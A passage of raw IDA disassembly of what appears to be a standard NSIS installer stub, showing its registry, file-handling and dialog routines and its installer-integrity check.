[ebp+var_44], eax call sub_403753 lea ecx, [ebp+arg_0] push ebx push ecx push ebx push 2 push ebx push ebx push ebx push eax push edi mov [ebp+var_4], 1 call ds:dword_40700C ; RegCreateKeyExA test eax, eax jnz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 cmp esi, 1 mov edi, offset aCDocume1SriU_0 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... jnz short loc_4030AD push 23h call sub_403753 push edi call sub_4068CF ; lstrlen inc eax loc_4030AD: ; CODE XREF: sub_4020E9+FB4j cmp esi, 4 jnz short loc_4030C0 push 3 call sub_403736 push esi mov dword ptr aCDocume1SriU_0, eax ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... pop eax loc_4030C0: ; CODE XREF: sub_4020E9+FC7j cmp esi, 3 jnz short loc_4030D4 push 0C00h push edi push ebx push [ebp+var_18] call sub_403B73 loc_4030D4: ; CODE XREF: sub_4020E9+FDAj push eax push edi push [ebp+var_2C] push ebx push [ebp+var_44] push [ebp+arg_0] call ds:dword_407008 ; RegSetValueExA test eax, eax jnz short loc_4030ED mov [ebp+var_4], ebx loc_4030ED: ; CODE XREF: sub_4020E9+FFFj push [ebp+arg_0] jmp loc_4031B5 ; --------------------------------------------------------------------------- loc_4030F5: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 20019h ; jumptable 00402146 case 52 call sub_40381A push 33h mov edi, eax call sub_403753 cmp edi, ebx mov [esi], bl jz loc_4033A2 lea ecx, [ebp+var_2C] mov [ebp+var_2C], 400h push ecx lea ecx, [ebp+arg_0] push esi push ecx push ebx push eax push edi call ds:dword_407004 ; RegQueryValueExA xor ecx, ecx inc ecx test eax, eax jnz short loc_403160 cmp [ebp+arg_0], 4 jz short loc_40314A cmp [ebp+arg_0], ecx jz short loc_403143 cmp [ebp+arg_0], 2 jnz short loc_403160 loc_403143: ; CODE XREF: sub_4020E9+1052j cmp [ebp+var_14], ebx jz short loc_4031B4 jmp short loc_403162 ; --------------------------------------------------------------------------- loc_40314A: ; CODE XREF: sub_4020E9+104Dj cmp [ebp+var_14], ebx jnz short loc_403156 mov [ebp+var_4], 1 loc_403156: ; CODE XREF: sub_4020E9+1064j push dword ptr [esi] push esi call sub_406827 jmp short loc_4031B4 ; --------------------------------------------------------------------------- loc_403160: ; CODE XREF: sub_4020E9+1047j ; sub_4020E9+1058j mov [esi], bl loc_403162: ; CODE XREF: sub_4020E9+105Fj mov [ebp+var_4], ecx jmp short loc_4031B4 ; --------------------------------------------------------------------------- loc_403167: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 20019h ; jumptable 00402146 case 53 call sub_40381A push 3 mov edi, eax call sub_403736 cmp edi, ebx mov [esi], bl jz loc_4033A2 cmp [ebp+var_14], ebx mov ecx, 3FFh mov [ebp+arg_0], ecx jz short loc_40319D push ecx push esi push eax push edi call ds:dword_407020 ; RegEnumKeyA jmp short loc_4031AE ; --------------------------------------------------------------------------- loc_40319D: ; CODE XREF: sub_4020E9+10A6j push ebx push ebx push ebx lea ecx, [ebp+arg_0] push ebx push ecx push esi push eax push edi call ds:dword_407000 ; RegEnumValueA loc_4031AE: ; CODE XREF: sub_4020E9+10B2j mov [esi+3FFh], bl loc_4031B4: ; CODE XREF: sub_4020E9+105Dj ; sub_4020E9+1075j ... push edi loc_4031B5: ; CODE XREF: sub_4020E9+1007j call ds:dword_40701C ; RegCloseKey jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4031C0: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo cmp [esi], bl ; jumptable 00402146 case 54 jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push esi call sub_406840 push eax jmp loc_402BE7 ; --------------------------------------------------------------------------- loc_4031D4: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 0FFFFFFEDh ; jumptable 00402146 case 55 call sub_403753 push [ebp+var_1C] push [ebp+var_20] push eax call sub_40658F cmp eax, 0FFFFFFFFh jz loc_4033A0 loc_4031F0: ; CODE XREF: sub_4020E9+57Fj ; sub_4020E9+8D9j ... push eax jmp loc_402235 ; --------------------------------------------------------------------------- loc_4031F6: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo cmp [ebp+var_1C], ebx ; jumptable 00402146 case 56 jz short loc_40320C push 1 call sub_403736 mov byte ptr aCDocume1SriUse, al ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... xor eax, eax inc eax jmp short loc_403219 ; --------------------------------------------------------------------------- loc_40320C: ; CODE XREF: sub_4020E9+1110j push 11h call sub_403753 push eax call sub_4068CF ; lstrlen loc_403219: ; CODE XREF: sub_4020E9+1121j cmp [esi], bl jz loc_4033A2 lea ecx, [ebp+arg_0] push ebx push ecx push eax push offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... push esi call sub_406840 push eax call ds:dword_407150 ; WriteFile jmp loc_40227A ; --------------------------------------------------------------------------- loc_40323E: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 2 ; jumptable 00402146 case 57 mov [ebp+var_30], ebx call sub_403736 cmp eax, 1 mov [ebp+var_8], eax jl loc_4035E8 ; default ; jumptable 00402146 cases 65,66 mov ecx, 3FFh cmp eax, ecx jle short loc_403260 mov [ebp+var_8], ecx loc_403260: ; CODE XREF: sub_4020E9+1172j cmp [esi], bl jz loc_4032F6 push esi mov byte ptr [ebp+arg_0+3], bl call sub_406840 cmp [ebp+var_8], ebx mov [ebp+var_34], eax jle short loc_4032F6 mov esi, [ebp+var_30] loc_40327C: ; CODE XREF: sub_4020E9+11D3j lea eax, [ebp+var_2C] push ebx push eax lea eax, [ebp+var_9] push 1 push eax push [ebp+var_34] call ds:dword_407130 ; ReadFile test eax, eax jz short loc_4032F9 cmp [ebp+var_2C], 1 jnz short loc_4032F9 cmp [ebp+var_18], ebx jnz short loc_4032C0 cmp byte ptr [ebp+arg_0+3], 0Dh jz short loc_4032D0 cmp byte ptr [ebp+arg_0+3], 0Ah jz short loc_4032D0 mov al, [ebp+var_9] mov [esi+edi], al inc esi cmp al, bl mov byte ptr [ebp+arg_0+3], al jz short loc_4032F9 cmp esi, [ebp+var_8] jl short loc_40327C jmp short loc_4032F9 ; --------------------------------------------------------------------------- loc_4032C0: ; CODE XREF: sub_4020E9+11B4j movzx eax, [ebp+var_9] push eax push edi call sub_406827 jmp loc_4035F1 ; --------------------------------------------------------------------------- loc_4032D0: ; CODE XREF: sub_4020E9+11BAj ; sub_4020E9+11C0j mov al, [ebp+var_9] cmp byte ptr [ebp+arg_0+3], al jz short loc_4032E6 cmp al, 0Dh jz short loc_4032E0 cmp al, 0Ah jnz short loc_4032E6 loc_4032E0: ; CODE XREF: sub_4020E9+11F1j mov [esi+edi], al inc esi jmp short loc_4032F9 ; --------------------------------------------------------------------------- loc_4032E6: ; CODE XREF: sub_4020E9+11EDj ; sub_4020E9+11F5j push 1 push ebx push 0FFFFFFFFh push [ebp+var_34] call ds:dword_407120 ; SetFilePointer jmp short loc_4032F9 ; --------------------------------------------------------------------------- loc_4032F6: ; CODE XREF: sub_4020E9+1179j ; sub_4020E9+118Ej mov esi, [ebp+var_30] loc_4032F9: ; CODE XREF: sub_4020E9+11A9j ; sub_4020E9+11AFj ... mov [esi+edi], bl cmp esi, ebx jmp loc_40227C ; --------------------------------------------------------------------------- loc_403303: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo cmp [esi], bl ; jumptable 00402146 case 58 jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push [ebp+var_18] push ebx push 2 call sub_403736 push eax push esi call sub_406840 push eax call ds:dword_407120 ; SetFilePointer cmp [ebp+var_20], ebx jl loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push eax push edi jmp loc_403514 ; --------------------------------------------------------------------------- loc_403334: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo cmp [esi], bl ; jumptable 00402146 case 59 jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push esi call sub_406840 push eax call ds:dword_40711C ; FindClose jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_40334E: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo cmp [edi], bl ; jumptable 00402146 case 60 jz loc_40242F lea eax, [ebp+var_1A4] push eax push edi call sub_406840 push eax call ds:dword_407118 ; FindNextFileA test eax, eax jz loc_40242F loc_403372: ; CODE XREF: sub_4020E9+12CCj lea eax, [ebp+var_178] push eax push esi loc_40337A: ; CODE XREF: sub_4020E9+78Cj call sub_4068C9 ; lstrcpy jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_403384: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 2 ; jumptable 00402146 case 61 call sub_403753 lea ecx, [ebp+var_1A4] push ecx push eax call ds:dword_407114 ; FindFirstFileA cmp eax, 0FFFFFFFFh jnz short loc_4033AE mov [edi], bl loc_4033A0: ; CODE XREF: sub_4020E9+1101j mov [esi], bl loc_4033A2: ; CODE XREF: sub_4020E9+199j ; sub_4020E9+297j ... mov [ebp+var_4], 1 jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4033AE: ; CODE XREF: sub_4020E9+12B3j push eax push edi call sub_406827 jmp short loc_403372 ; --------------------------------------------------------------------------- loc_4033B7: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 62 mov [ebp+var_34], 0FFFFFD66h call sub_403753 mov esi, eax push esi call sub_40643C test eax, eax push esi jz short loc_4033DE mov esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... push esi call sub_4068C9 ; lstrcpy jmp short loc_4033FF ; --------------------------------------------------------------------------- loc_4033DE: ; CODE XREF: sub_4020E9+12E6j push offset byte_435400 push offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... call sub_4068C9 ; lstrcpy push eax call sub_4063CF push eax call ds:dword_40708C ; lstrcat mov esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... loc_4033FF: ; CODE XREF: sub_4020E9+12F3j push esi call sub_406B09 push 2 push 40000000h push esi call sub_40658F cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4034C0 mov eax, dword_42F02C push eax mov [ebp+var_30], eax call sub_406244 mov edi, eax cmp edi, ebx jz loc_4034B7 push ebx call sub_403DD1 push [ebp+var_30] push edi call sub_403D9F push [ebp+var_1C] call sub_406244 mov esi, eax cmp esi, ebx mov [ebp+var_2C], esi jz short loc_40348A push [ebp+var_1C] push esi push ebx push [ebp+var_20] call sub_403B73 jmp short loc_40347D ; --------------------------------------------------------------------------- loc_403465: ; CODE XREF: sub_4020E9+1396j mov ecx, [esi] mov eax, [esi+4] add esi, 8 push ecx add eax, edi push esi push eax mov [ebp+var_38], ecx call sub_40656F add esi, [ebp+var_38] loc_40347D: ; CODE XREF: sub_4020E9+137Aj cmp [esi], bl jnz short loc_403465 push [ebp+var_2C] call ds:dword_4070BC ; GlobalFree loc_40348A: ; CODE XREF: sub_4020E9+136Bj lea eax, [ebp+var_44] push ebx push eax push [ebp+var_30] push edi push [ebp+arg_0] call ds:dword_407150 ; WriteFile push edi call ds:dword_4070BC ; GlobalFree push ebx push ebx push [ebp+arg_0] push 0FFFFFFFFh call sub_403B73 mov [ebp+var_34], eax mov esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... loc_4034B7: ; CODE XREF: sub_4020E9+1347j push [ebp+arg_0] call ds:dword_40706C ; CloseHandle loc_4034C0: ; CODE XREF: sub_4020E9+132Fj cmp [ebp+var_34], ebx push 0FFFFFFF3h pop edi jge short loc_4034D9 push 0FFFFFFEFh pop edi push esi call ds:dword_407110 ; DeleteFileA mov [ebp+var_4], 1 loc_4034D9: ; CODE XREF: sub_4020E9+13DDj push edi jmp loc_402EBC ; --------------------------------------------------------------------------- loc_4034DF: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 63 call sub_403736 mov esi, eax cmp esi, dword_42F04C jnb loc_4033A2 mov ecx, dword_42F048 lea eax, [esi+esi*2] lea eax, [ecx+eax*8] mov ecx, [ebp+var_1C] cmp ecx, ebx mov [ebp+arg_0], eax jl short loc_40351E mov eax, [eax+ecx*4] push eax push edi jz loc_4035BC loc_403514: ; CODE XREF: sub_4020E9+14Dj ; sub_4020E9+1246j call sub_406827 jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_40351E: ; CODE XREF: sub_4020E9+141Ej mov edi, ds:dword_407248 or eax, 0FFFFFFFFh sub eax, ecx mov [ebp+var_1C], eax jz short loc_40353A push 1 call sub_403736 mov [ebp+var_20], eax jmp short loc_403548 ; --------------------------------------------------------------------------- loc_40353A: ; CODE XREF: sub_4020E9+1443j push [ebp+var_20] push esi push 417h push [ebp+var_34] call edi ; SendMessageA loc_403548: ; CODE XREF: sub_4020E9+144Fj mov eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_20] mov [ecx+eax*4], edx cmp [ebp+var_1C], ebx jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push ebx push esi push 418h push [ebp+var_34] call edi ; SendMessageA jmp short loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_40356B: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 64 call sub_403736 cmp [ebp+var_18], ebx jz short loc_40358E inc dword_42F0BC push ebx push ebx push 432h push [ebp+var_34] call ds:dword_407248 ; SendMessageA jmp short loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_40358E: ; CODE XREF: sub_4020E9+148Bj cmp eax, 20h jnb loc_4033A2 cmp [ebp+var_1C], ebx jz short loc_4035AE mov edx, dword_42F028 mov ecx, [ebp+var_20] mov [edx+eax*4+94h], ecx jmp short loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4035AE: ; CODE XREF: sub_4020E9+14B1j mov ecx, dword_42F028 push dword ptr [ecx+eax*4+94h] push edi loc_4035BC: ; CODE XREF: sub_4020E9+1425j call sub_4068D5 jmp short loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4035C3: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo mov ecx, dword_42CA18 ; jumptable 00402146 case 67 push ebx and ecx, eax push ecx push 0Bh push [ebp+var_8] call ds:dword_407248 ; SendMessageA cmp [ebp+var_24], ebx jz short loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push ebx push ebx push [ebp+var_8] call ds:dword_407244 ; InvalidateRect loc_4035E8: ; CODE XREF: sub_4020E9+57j ; sub_4020E9+5Dj ... mov eax, [ebp+var_4] ; default ; jumptable 00402146 cases 65,66 add dword_42F0A8, eax loc_4035F1: ; CODE XREF: sub_4020E9+4A3j ; sub_4020E9+11E2j xor eax, eax loc_4035F3: ; CODE XREF: sub_4020E9+5Dj ; sub_4020E9+A8j ... pop edi ; jumptable 00402146 case 2 pop esi pop ebx leave retn 4 sub_4020E9 endp ; --------------------------------------------------------------------------- off_4035FA dd offset loc_4035F3, offset loc_40214D, offset loc_402159 ; DATA XREF: sub_4020E9+5Dr dd offset loc_402174, offset loc_402196, offset loc_4021CF ; jump table for switch statement dd offset loc_4021E9, offset loc_40223B, offset loc_402269 dd offset loc_402287, offset loc_402303, offset loc_4021F7 dd offset loc_40220D, offset loc_40222E, offset loc_402314 dd offset loc_4023A8, offset loc_40240D, offset loc_40243D dd offset loc_402450, offset loc_402611, offset loc_402614 dd offset loc_402646, offset loc_40265B, offset loc_40266D dd offset loc_4026EE, offset loc_402712, offset loc_402749 dd offset loc_40277B, offset loc_402808, offset loc_402829 dd offset loc_4028CD, offset loc_4028CD, offset loc_40298F dd offset loc_4029AC, offset loc_4029C7, offset loc_4029E3 dd offset loc_402A3D, offset loc_402AB7, offset loc_402AE3 dd offset loc_402B4B, offset loc_402BF2, offset loc_402C22 dd offset loc_402CB0, offset loc_402D7A, offset loc_402ECA dd offset loc_402F4E, offset loc_402F7D, offset loc_402FC1 dd offset loc_403001, offset loc_403057, offset loc_4030F5 dd offset loc_403167, offset loc_4031C0, offset loc_4031D4 dd offset loc_4031F6, offset loc_40323E, offset loc_403303 dd offset loc_403334, offset loc_40334E, offset loc_403384 dd offset loc_4033B7, offset loc_4034DF, offset loc_40356B dd offset loc_4035E8, offset loc_4035E8, offset loc_4035C3 off_403702 dd offset loc_40279C ; DATA XREF: sub_4020E9+6ACr dd offset loc_4027A0 ; jump table for switch statement dd offset loc_4027A4 dd offset loc_4027AB dd offset loc_4027B8 dd offset loc_4027BC dd offset loc_4027C0 dd offset loc_4027C4 dd offset loc_4027CD dd offset loc_4027D7 dd offset loc_4027E4 dd offset loc_4027FC dd offset loc_402800 ; =============== S U B R O U T I N E ======================================= sub_403736 proc near ; CODE XREF: sub_4020E9+E7p ; sub_4020E9+110p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, dword_40A9C4 push dword ptr [ecx+eax*4] push 0 call sub_4068D5 push eax call sub_406840 retn 4 sub_403736 endp ; =============== S U B R O U T I N E ======================================= sub_403753 proc near ; CODE XREF: sub_4020E9+182p ; sub_4020E9+1A0p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi push edi mov eax, esi jge short loc_403761 neg eax loc_403761: ; CODE XREF: sub_403753+Aj mov edx, dword_40A9C4 mov ecx, eax and ecx, 0Fh sar eax, 4 push dword ptr [edx+ecx*4] shl eax, 0Ah add eax, offset aCall ; "Call" push eax call sub_4068D5 test esi, esi mov edi, eax jge short loc_40378C push edi call sub_406B09 loc_40378C: ; CODE XREF: sub_403753+31j mov eax, edi pop edi pop esi retn 4 sub_403753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403793 proc near ; CODE XREF: sub_4020E9+F5Ap ; sub_403793+42p var_10C = byte ptr -10Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi lea eax, [ebp+var_4] push edi push eax xor ebx, ebx push 8 push ebx push [ebp+arg_4] push [ebp+arg_0] call ds:dword_407010 ; RegOpenKeyExA cmp eax, ebx jnz short loc_403805 mov esi, ds:dword_407020 mov edi, 105h jmp short loc_4037DE ; --------------------------------------------------------------------------- loc_4037C5: ; CODE XREF: sub_403793+5Bj cmp [ebp+arg_8], ebx jnz short loc_40380C lea eax, [ebp+var_10C] push ebx push eax push [ebp+var_4] call sub_403793 test eax, eax jnz short loc_4037F0 loc_4037DE: ; CODE XREF: sub_403793+30j lea eax, [ebp+var_10C] push edi push eax push ebx push [ebp+var_4] call esi ; RegEnumKeyA test eax, eax jz short loc_4037C5 loc_4037F0: ; CODE XREF: sub_403793+49j push [ebp+var_4] call ds:dword_40701C ; RegCloseKey push [ebp+arg_4] push [ebp+arg_0] call ds:dword_407014 ; RegDeleteKeyA loc_403805: ; CODE XREF: sub_403793+23j ; sub_403793+85j pop edi pop esi pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- loc_40380C: ; CODE XREF: sub_403793+35j push [ebp+var_4] call ds:dword_40701C ; RegCloseKey xor eax, eax inc eax jmp short loc_403805 sub_403793 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40381A proc near ; CODE XREF: sub_4020E9+F1Fp ; sub_4020E9+1011p ... arg_0 = dword ptr 8 push ebp mov ebp, esp lea eax, [ebp+arg_0] push eax push [ebp+arg_0] push 0 push 22h call sub_403753 push eax mov eax, dword_40A9C4 push dword ptr [eax+4] call ds:dword_407010 ; RegOpenKeyExA neg eax sbb eax, eax not eax and eax, [ebp+arg_0] pop ebp retn 4 sub_40381A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403849 proc near ; DATA XREF: sub_4038D5+14Fo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 110h push esi push edi mov edi, [ebp+arg_0] mov esi, 113h jnz short loc_40387A push 0 push 0FAh push 1 push edi call ds:dword_407208 ; SetTimer mov eax, [ebp+arg_C] mov [ebp+arg_4], esi mov dword_40C5D0, eax loc_40387A: ; CODE XREF: sub_403849+14j cmp [ebp+arg_4], esi jnz short loc_4038CD mov ecx, dword_4161D8 mov eax, dword_42A1DD+3 cmp ecx, eax jl short loc_403890 mov ecx, eax loc_403890: ; CODE XREF: sub_403849+43j push eax push 64h push ecx call ds:dword_40710C ; MulDiv push eax mov esi, offset dword_416198 push dword_40C5D0 push esi call ds:dword_40721C ; wsprintfA add esp, 0Ch push esi push edi call ds:dword_40720C ; SetWindowTextA push esi push 406h push edi call sub_4061E0 ; SetDlgItemTextA push 5 push edi call ds:dword_407218 ; ShowWindow loc_4038CD: ; CODE XREF: sub_403849+34j pop edi xor eax, eax pop esi pop ebp retn 10h sub_403849 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038D5 proc near ; CODE XREF: start+14Fp var_48 = byte ptr -48h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h push ebx push esi xor esi, esi push edi mov [ebp+var_4], esi call ds:dword_4070A8 ; GetTickCount mov [ebp+var_C], esi mov [ebp+var_8], esi mov esi, offset aCM_unpacker ; "C:\\m_unpacker" push 400h push esi mov edi, eax push dword_42F020 add edi, 3E8h call ds:dword_4070A4 ; GetModuleFileNameA push 3 push 80000000h push esi call sub_40658F mov ebx, eax cmp ebx, 0FFFFFFFFh mov [ebp+var_10], ebx mov dword_409048, ebx jnz short loc_403935 mov eax, offset aErrorLaunching ; "Error launching installer" jmp loc_403B6C ; --------------------------------------------------------------------------- loc_403935: ; CODE XREF: sub_4038D5+54j push esi call sub_406417 push 0 push ebx call ds:dword_4070A0 ; GetFileSize test eax, eax mov dword_42A1DD+3, eax mov esi, eax jle loc_403AA8 loc_403953: ; CODE XREF: sub_4038D5+18Aj mov eax, dword_42F02C mov ebx, esi neg eax sbb eax, eax and eax, 7E00h add eax, 200h cmp esi, eax jl short loc_40396E mov ebx, eax loc_40396E: ; CODE XREF: sub_4038D5+95j push ebx push offset dword_4221E0 call sub_403D9F test eax, eax jz loc_403A88 xor eax, eax cmp dword_42F02C, eax jnz short loc_403A0A push 1Ch lea eax, [ebp+var_2C] push offset dword_4221E0 push eax call sub_40656F mov ecx, [ebp+var_2C] test ecx, 0FFFFFFF0h jnz loc_403A3C cmp [ebp+var_28], 0DEADBEEFh jnz loc_403A3C cmp [ebp+var_1C], 74736E49h jnz short loc_403A3C cmp [ebp+var_20], 74666F73h jnz short loc_403A3C cmp [ebp+var_24], 6C6C754Eh jnz short loc_403A3C mov eax, [ebp+var_14] cmp eax, esi jg loc_403B09 or [ebp+arg_0], ecx mov edx, dword_4161D8 test byte ptr [ebp+arg_0], 8 mov dword_42F02C, edx jnz short loc_4039FC test byte ptr [ebp+arg_0], 4 jnz loc_403A99 loc_4039FC: ; CODE XREF: sub_4038D5+11Bj inc [ebp+var_8] lea esi, [eax-4] cmp ebx, esi jbe short loc_403A3C mov ebx, esi jmp short loc_403A3C ; --------------------------------------------------------------------------- loc_403A0A: ; CODE XREF: sub_4038D5+B4j test byte ptr [ebp+arg_0], 2 jnz short loc_403A3C cmp [ebp+var_4], eax jnz short loc_403A73 call ds:dword_4070A8 ; GetTickCount cmp eax, edi jbe short loc_403A3C push offset aVerifyingInsta ; "verifying installer: %d%%" push offset sub_403849 push 0 push 6Fh push dword_42F020 call ds:dword_407200 ; CreateDialogParamA mov [ebp+var_4], eax loc_403A3C: ; CODE XREF: sub_4038D5+CFj ; sub_4038D5+DCj ... cmp esi, dword_42A1DD+3 jge short loc_403A55 push ebx push offset dword_4221E0 push [ebp+var_C] call sub_401FAF mov [ebp+var_C], eax loc_403A55: ; CODE XREF: sub_4038D5+16Dj add dword_4161D8, ebx sub esi, ebx test esi, esi jg loc_403953 jmp short loc_403A99 ; --------------------------------------------------------------------------- loc_403A67: ; CODE XREF: sub_4038D5+1AFj lea eax, [ebp+var_48] push eax call ds:dword_407240 ; DispatchMessageA xor eax, eax loc_403A73: ; CODE XREF: sub_4038D5+13Ej push 1 push eax push eax push eax lea eax, [ebp+var_48] push eax call ds:dword_407264 ; PeekMessageA test eax, eax jnz short loc_403A67 jmp short loc_403A3C ; --------------------------------------------------------------------------- loc_403A88: ; CODE XREF: sub_4038D5+A6j cmp [ebp+var_4], 0 jz short loc_403B09 push [ebp+var_4] call ds:dword_407204 ; DestroyWindow jmp short loc_403B09 ; --------------------------------------------------------------------------- loc_403A99: ; CODE XREF: sub_4038D5+121j ; sub_4038D5+190j cmp [ebp+var_4], 0 jz short loc_403AA8 push [ebp+var_4] call ds:dword_407204 ; DestroyWindow loc_403AA8: ; CODE XREF: sub_4038D5+78j ; sub_4038D5+1C8j xor edi, edi cmp dword_42F02C, edi jz short loc_403B09 cmp [ebp+var_8], edi jz short loc_403AD9 push dword_4161D8 call sub_403DD1 lea eax, [ebp+var_8] push 4 push eax call sub_403D9F test eax, eax jz short loc_403B09 mov eax, [ebp+var_C] cmp eax, [ebp+var_8] jnz short loc_403B09 loc_403AD9: ; CODE XREF: sub_4038D5+1E0j push [ebp+var_18] call sub_406244 mov esi, eax mov eax, dword_42F02C add eax, 1Ch push eax call sub_403DD1 push [ebp+var_18] push esi push edi push 0FFFFFFFFh call sub_403B73 cmp eax, [ebp+var_18] jz short loc_403B10 push esi call ds:dword_4070BC ; GlobalFree loc_403B09: ; CODE XREF: sub_4038D5+102j ; sub_4038D5+1B7j ... mov eax, offset aTheInstallerYo ; "The installer you are trying to use is "... jmp short loc_403B6C ; --------------------------------------------------------------------------- loc_403B10: ; CODE XREF: sub_4038D5+22Bj test byte ptr [ebp+arg_0], 2 mov dword_42F028, esi jz short loc_403B1F or dword ptr [esi], 8 loc_403B1F: ; CODE XREF: sub_4038D5+245j mov eax, [esi] and eax, 18h test byte ptr [ebp+var_2C], 1 mov dword_42F0C0, eax mov eax, [esi] mov dword_42F030, eax jz short loc_403B3C inc dword_42F034 loc_403B3C: ; CODE XREF: sub_4038D5+25Fj push 8 lea eax, [esi+44h] pop ecx loc_403B42: ; CODE XREF: sub_4038D5+273j sub eax, 8 add [eax], esi dec ecx jnz short loc_403B42 push 1 push edi push edi push [ebp+var_10] call ds:dword_407120 ; SetFilePointer mov [esi+3Ch], eax add esi, 4 push 40h push esi push offset dword_42F040 call sub_40656F xor eax, eax loc_403B6C: ; CODE XREF: sub_4038D5+5Bj ; sub_4038D5+239j pop edi pop esi pop ebx leave retn 4 sub_4038D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B73 proc near ; CODE XREF: sub_4020E9+4C0p ; sub_4020E9+FE6p ... var_58 = byte ptr -58h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 58h push ebx push esi mov esi, [ebp+arg_C] push edi mov edi, [ebp+arg_8] mov [ebp+var_8], esi test edi, edi jnz short loc_403B90 mov [ebp+var_8], 8000h loc_403B90: ; CODE XREF: sub_403B73+14j and [ebp+var_4], 0 mov [ebp+var_C], edi test edi, edi jnz short loc_403BA2 mov [ebp+var_C], offset dword_41A1E0 loc_403BA2: ; CODE XREF: sub_403B73+26j mov eax, [ebp+arg_0] test eax, eax jl short loc_403BB7 mov ecx, dword_42F078 add ecx, eax push ecx call sub_403DD1 loc_403BB7: ; CODE XREF: sub_403B73+34j lea eax, [ebp+arg_C] push 4 push eax call sub_403D9F test eax, eax jz loc_403D4A test byte ptr [ebp+arg_C+3], 80h jz loc_403D33 mov ebx, ds:dword_4070A8 call ebx ; GetTickCount and dword_40CB04, 0 and dword_40CB00, 0 and [ebp+arg_C], 7FFFFFFFh mov [ebp+var_10], eax mov eax, offset dword_40E188 mov dword_40C5E8, 8 mov off_416190, eax mov off_41618C, eax mov eax, [ebp+arg_C] mov off_416188, offset off_416188 mov [ebp+arg_0], eax jle loc_403D95 loc_403C23: ; CODE XREF: sub_403B73+1B0j mov esi, 4000h cmp [ebp+arg_C], esi jge short loc_403C30 mov esi, [ebp+arg_C] loc_403C30: ; CODE XREF: sub_403B73+B8j mov edi, offset dword_4161E0 push esi push edi call sub_403D9F test eax, eax jz loc_403D4A sub [ebp+arg_C], esi mov off_40C5D8, edi mov dword_40C5DC, esi loc_403C53: ; CODE XREF: 